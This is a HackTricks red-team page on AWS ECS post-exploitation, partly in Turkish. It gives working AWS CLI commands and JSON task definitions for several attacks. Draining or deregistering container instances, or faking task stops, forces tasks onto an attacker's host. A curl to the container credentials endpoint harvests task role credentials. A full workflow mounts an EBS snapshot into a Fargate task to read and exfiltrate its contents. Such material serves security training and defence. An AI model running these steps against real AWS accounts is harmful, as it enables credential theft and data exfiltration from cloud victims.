AWS - ECS Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

ECS

For more information check:

AWS - ECS Enum

Host IAM Roles

ECS’de container içinde çalışan task’e bir IAM role atanabilir. If task bir EC2 instance içinde çalıştırılıyorsa, EC2 instance’a başka bir IAM role eklenir.
Bu, eğer bir ECS instance’ını compromise edebilirseniz potansiyel olarak ECR ve EC2 instance’ına bağlı IAM role’lerini elde edebileceğiniz anlamına gelir. Bu kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için bakınız:

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc to node to steal other containers creds & secrets

Dahası, EC2, ECS task’lerini çalıştırmak için docker kullanır; bu yüzden node’a escape edebilir veya docker socket’e erişebilirseniz, hangi diğer container’ların çalıştırıldığını check edebilir, hatta içlerine girebilir ve atanmış IAM role’lerini çalabilirsiniz.

Making containers run in current host

Ayrıca, EC2 instance role genellikle cluster içindeki node’lar olarak kullanılan EC2 instance’ların container instance state’ini update etmek için yeterli permissionsa sahiptir. Bir attacker, bir instance’ın state’ini DRAINING olacak şekilde değiştirebilir; bunun üzerine ECS, o instance’daki tüm task’leri remove eder ve REPLICA olarak çalışanlar farklı bir instance’da çalıştırılır; potansiyel olarak attacker’ın instance’ı içinde çalıştırılarak onların IAM role’lerini ve container içindeki hassas bilgileri çalmasına imkan verir.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

Aynı teknik deregistering the EC2 instance from the cluster ile yapılabilir. Bu muhtemelen daha az gizli olacaktır ancak tasks’in diğer instances’larda çalıştırılmasını zorlayacaktır:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

task’ların yeniden çalıştırılmasını zorlamanın son bir yöntemi, ECS’ye task veya container’ın durdurulduğunu bildirmektir. Bunu yapmak için 3 olası API vardır:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Join the Cluster With an Attacker Host (Register Container Instance)

Another variant (more direct than draining) is to add capacity you control into the cluster by registering an EC2 instance as a container instance (ecs:RegisterContainerInstance) and setting the required container instance attributes so placement constraints match. Once tasks land on your host, you can inspect/exec into containers and harvest AWS_CONTAINER_CREDENTIALS_RELATIVE_URI credentials.

See the ECS privesc page section on ecs:RegisterContainerInstance for the full workflow.

Steal sensitive info from ECR containers

EC2 instance muhtemelen ecr:GetAuthorizationToken iznine de sahip olacak; bu izin ona imajları indirebilme yetkisi verir (içlerinde hassas bilgi arayabilirsiniz).

Steal Task Role Credentials via ecs:ExecuteCommand

If ExecuteCommand is enabled on a task, a principal with ecs:ExecuteCommand + ecs:DescribeTasks can open a shell inside the running container and then query the task credentials endpoint to harvest the task role credentials:

  • From inside the container: curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
  • Use the returned AccessKeyId/SecretAccessKey/Token to call AWS APIs as the task role

See the ECS privilege escalation page for enumeration and command examples.

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.

  • Needs (minimum):

  • ecs:RegisterTaskDefinition

  • One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole on:

  • ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenced by the task definition

  • If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.

Steps (Fargate example):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. configuredAtLaunch ile işaretlenmiş bir volume içeren bir task definition kaydedin ve bunu container içinde mount edin. Örnek (secret’i yazdırır sonra uyur):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. EBS snapshot’ını volumeConfigurations.managedEBSVolume aracılığıyla geçirerek bir servis oluşturun veya güncelleyin (infra role üzerinde iam:PassRole gerektirir). Örnek:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Task başladığında, container yapılandırılmış mount yolundaki snapshot içeriğini (ör. /loot) okuyabilir. Exfiltrate’i task’in ağ/günlükleri üzerinden gerçekleştirin.

Temizleme:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin